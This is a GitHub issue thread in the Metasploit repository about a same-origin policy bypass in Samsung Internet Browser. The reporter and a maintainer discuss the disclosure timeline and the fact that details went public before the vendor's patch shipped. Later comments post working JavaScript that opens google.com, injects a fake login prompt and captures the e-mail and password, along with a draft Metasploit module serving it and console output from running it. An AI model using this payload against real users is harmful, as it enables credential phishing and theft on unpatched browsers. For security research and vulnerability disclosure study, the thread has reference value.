

SOP Bypass Samsug Internet Browser

SOP Bypass Samsug Internet Browser - RootUp, GitHub.

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Content

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SOP Bypass Samsug Internet Browser

- Repository: rapid7/metasploit-framework
- Opened by: RootUp
- Opened: 2017-09-18
- State: closed

Body

I just figured out, SOP Bypass for Samsung internet browser, Stable Version : 5.4.02.3
Exploit Code : <https://fr.0day.today/exploit/description/28434>

Snip Code Attached : [SOP.txt](#) The above exploit code works on most of the Andorid M Stock browser I tried my best to code it in rb but my bad.

There is no public advisory for this anywhere from the vendor. :(Where samsung came to an conclusion,

Dear Dhiraj, We would like to thank you for sharing a potential security issue for Samsung mobile device.

We looked into the issue and found that the issue was already patched.

The patch is already preloaded in our upcoming model Galaxy Note8, and the application will be updated via Apps store update in October.

Thank you very much in advance for your cooperation. Very Respectfully, Samsung Mobile Security

However, this issue isn't patch yet.

Comments

todb-r7, 2017-09-18

Hi @RootUp , I'm looking at the splash page for <https://en.0day.today/exploit/description/28434> -- and I'm a little confused about the licensing on this site. On the English version of the page, it states that "0day.today is released without any warranty and exists solely for educational purposes." Which is nice and all but it doesn't seem to really say what other people can or cannot do with this.

Anyway, if you know those guys, you might want to clarify with them what they mean. The TOS seems to be describing a bunch of activities that the site operators are likely to do, but doesn't seem to impose any actual terms of service on users of the site.

todb-r7, 2017-09-18

Incidentally, I assume that you (or 0day.today) reported this to Samsung via

<https://security.samsungmobile.com/securityReporting.smsb>

but then decided to publish details two weeks before Samsung was going to push out updates? Just trying to figure out your disclosure timeline here.

RootUp, 2017-09-18

Hi @todb-r7

Request you to please have a look on th attached mail headers for your reference, i (dhiraj) have submitted the issue using mail ID mobile.security@samsung.com nor the link <https://security.samsungmobile.com/securityReporting.smsb> [Mail_SOP.txt](#)

However, i taught of making it into RB but no luck, so pull the request here, so that some one could help.

Regards Dhiraj Mishra

todb-r7, 2017-09-18

Gotcha. So disclosure timeline here looks like:

- August 8: Reported to vendor
- September 5: Vendor patch prepared, committed to an October app update
- September 18: Public disclosure

That look right to you?

RootUp, 2017-09-18

Yes agree ! Thankyou @todb-r7 Are you looking into this ?

todb-r7, 2017-09-18

Well, I was, but just glancing over it, it looks like you have a base64 encoded PNG file that is somehow magical and causing the Samsung Internet Browser (which I guess is this: <https://play.google.com/store/apps/details?id=com.sec.android.app.sbrowser&hl=en>) to not display the correct origin in the location bar... or something? There's no real details here.

I'm also curious why you decided to publish after getting a confirmation from Samsung, but before they released a patch in the app store. You can do what you want, of course, but typically, it's more friendly to report the vuln, believe them when they say they'll have an October release, and then release after then. I'm not super sure what your goals are here in releasing early, given that Samsung Mobile Security has been responsive to your report.

RootUp, 2017-09-19

Haha @todb-r7 well i reported this issue to them and waited for days, however, when no response was provided from their end, i wrote a mail to the developer team (<https://github.com/SamsungInternet/support>), attaching mail headers for your reference. [Mail_SOP2.txt](#)

However, there are 2 versions for samsung internet browser,

1. Stable version (<https://play.google.com/store/apps/details?id=com.sec.android.app.sbrowser&hl=en>) --> Vulnerable to the above SOP bypass
2. Beta version (<https://play.google.com/store/apps/details?id=com.sec.android.app.sbrowser.beta&hl=en>)

Where they concluded with, beta version as got patch for it and we will push it in stable in late October, apart from that the above piece of code works on most of the Android M stock browser, and I tried communicating with them but response, so decided to make it public and thought of adding in MSF

Regards Dhiraj

RootUp, 2017-09-19

Snip: Well, I was, but just glancing over it, it looks like you have a base64 encoded PNG file that is somehow magical and causing the Samsung Internet Browser (which I guess is this: <https://play.google.com/store/apps/details?id=com.sec.android.app.sbrowser&hl=en>) to not display the correct origin in the location bar... or something?

DM: Yes this happens because of base64 encoded IMG and window.open() as well which points the URL as google.com and gives a base AUTH for asking email and password once user provide the username and password it pass all the details to parent tab (which is an attacker tab) and SOP bypass performed successfully.

todb-r7, 2017-09-19

the above piece of code works on most of the Android M stock browser

The "stock" Android M browser is Chrome. Surely you're not saying that Chrome is vulnerable to a SOP bypass via some goofy PNG?

RootUp, 2017-09-19

Hi @toddb-r7 No, i mean to say not chrome, but browser's such as HTC Browser which comes inbuilt in older smart phones, however chrome is not vulnerable to this, sorry for miss interpretation Android M browser would be browser which use to come from there respective company itself.

RootUp, 2017-09-24

Hi @toddb-r7

I have cut the code for SOP Bypass in JS and i have made rb module for below code as well, however my rb module dosent works perfectly, could you please have a look into it, so that if everything goes perfect so that i can pull request.

```
<script>
function go(){
var x=window.open('https://www.google.com/csi');
setTimeout(function(){x.document.body.innerHTML='<h1>Please login</h1>';a=x.prompt('E-mail','');b=x.prompt('Password','');alert('E-mail: '+a+'\nPassword: '+b)},3000);
}
</script>
<button onclick="go()">go</button>
```

```

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => "SOP Bypass",
        'Description'    => %q(
          SOP Bypass
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra',
        ],
        'References'     => [
          [ 'CVE', '0000-0000' ]
        ],
        'DisclosureDate' => "",
        'Actions'        => [[ 'WebServer' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = %|
<html><body><script>
function go(){
var x=window.open('https://www.google.com/csi');
setTimeout(function(){x.document.body.innerHTML='<h1>Please login</h1>';a=x.prompt('E-
mail','');b=x.prompt('Password','');alert('E-mail: '+a+'\nPassword: '+b)},3000);
}
</script>

```

```
<button onclick="go()">go</button>
</body></html>

|
end

def on_request_uri(cli, _request)
  print_status('Sending response')
  send_response(cli, @html)
end
end
```

```
msf > use auxiliary/gather/android_sop_bypass
msf auxiliary(android_sop_bypass) > set SRVHOST 192.168.1.104
SRVHOST => 192.168.1.104
msf auxiliary(android_sop_bypass) > set SRVPORT 9092
SRVPORT => 9092
msf auxiliary(android_sop_bypass) > run
[*] Auxiliary module execution completed
msf auxiliary(android_sop_bypass) >
[*] Using URL: http://192.168.1.104:9092/oxPLa8
[*] Server started.

msf auxiliary(android_sop_bypass) >
```

RootUp, 2017-11-03

Hey @toddb-r7 Could you please look into this.

toddb-r7, 2017-11-06

Hi @RootUp -- rather than reading and critiquing a Metasploit module pasted into an issue, why not just create a pull request like normal? It doesn't have to be perfect to get started on a real review.

We have lots of guidelines on what we'd expect from a PR, starting at <https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md>.

Thanks!